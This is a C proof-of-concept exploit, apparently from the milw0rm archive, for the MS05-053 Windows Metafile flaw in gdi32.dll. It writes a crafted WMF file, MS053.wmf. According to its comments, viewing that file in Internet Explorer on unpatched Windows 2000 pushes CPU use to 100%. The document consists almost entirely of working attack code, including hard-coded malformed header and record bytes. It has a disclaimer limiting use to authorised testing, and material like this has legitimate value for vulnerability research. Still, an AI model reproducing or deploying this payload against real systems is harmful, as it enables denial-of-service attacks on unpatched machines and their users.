Microsoft Windows Metafile - 'gdi32.dll' Denial of Service (MS05-053)

/*
 * Author: Winny Thomas
 *	   Pune, INDIA
 *
 * The crafted metafile from this code when viewed in internet explorer raises the CPU utilization 
 * to 100%. The code was tested on Windows 2000 server SP4. The issue does not occur with the 
 * hotfix for GDI (MS05-053) installed
 *
 * Disclaimer: This code is for educational/testing purposes by authosized persons on 
 * networks/systems setup for such a purpose.The author of this code shall not bear 
 * any responsibility for any damage caused by using this code.
 *
 */

#include <stdio.h>

unsigned char wmfheader[] = 
"\xd7\xcd\xc6\x9a\x00\x00\xc6\xfb\xca\x02\xaa\x02\x39\x09\xe8\x03"
"\x00\x00\x00\x00\x66\xa6"
"\x01\x00"
"\x09\x00"
"\x00\x03"
"\xff\xff\xff\xff" //Metafile file size
"\x04\x00"
"\xff\xff\xff\xff" //Largest record size
"\x00\x00";

unsigned char MetafileRECORD[] = 
"\x05\x00\x00\x00\x0b\x02\x39\x09\xc6\xfb\x08\x00\x00\x00\xfa\x02"
"\x05\x00\x00\x00\x00\x00\xff\xff\xff\x00\x04\x00\x00\x00\x2d\x01"
"\x01\x00\x04\x00\x00\x00\x06\x01\x01\x00\x04\x00\x00\x00\x2d\x01"
"\x02\x00\x07\x00\x00\x00\xfc\x02\x00\x00\xff\xff\xff\x00\x00\x00"
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\x2d\x01\x02\x00"
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\xf0\x01\x00\x00"
"\x07\x00\x00\x00\xfc\x02\x00\x00\xfa\x94\x93\x00\x00\x00\x04\x00"
"\x00\x00\x2d\x01\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x04\x00"
"\x00\x00\x06\x01\x01\x00\x14\x00\x00\x00\x24\x03\x08\x00\xc6\xfb"
"\x9b\x03\xbc\xfe\x9b\x03\x0f\x01\x1a\x07\xa5\x02\x1a\x07\xf4\x00"
"\x39\x09\xd5\xfc\x36\x07\x86\xfe\x36\x07\xc6\xfb\x9b\x03";

unsigned char wmfeof[] = 
"\x00\x00\x00\x00";

int main(int argc, char *argv[])
{
	FILE *fp;
	char wmfbuf[1024];
	int metafilesize, metafilesizeW, i, j;
	
	metafilesize = sizeof (wmfheader) + sizeof (MetafileRECORD) + sizeof(wmfeof) -3;
	metafilesizeW = metafilesize/2;
	memcpy((unsigned long *)&wmfheader[28], &metafilesizeW, 4);

	printf("[*] Adding Metafile header\n");
	for (i = 0; i < sizeof(wmfheader) -1; i++) {
		(unsigned char)wmfbuf[i] = (unsigned char)wmfheader[i];
	}
			
	printf("[*] Adding Metafile records\n");
	for (j = i, i = 0; i < sizeof(MetafileRECORD) -1; i++, j++) {
		wmfbuf[j] = MetafileRECORD[i];
	}
	
	printf("[*] Adding EOF record\n");
	for (i = 0; i < sizeof(wmfeof) -1; i++, j++) {
		wmfbuf[j] = wmfeof[i];
	}

	printf("[*] Creating Metafile (MS053.wmf)\n");
	fp = fopen("MS053.wmf", "wb");
	fwrite(wmfbuf, 1, metafilesize, fp);
	fclose(fp);
}

// milw0rm.com [2005-11-29]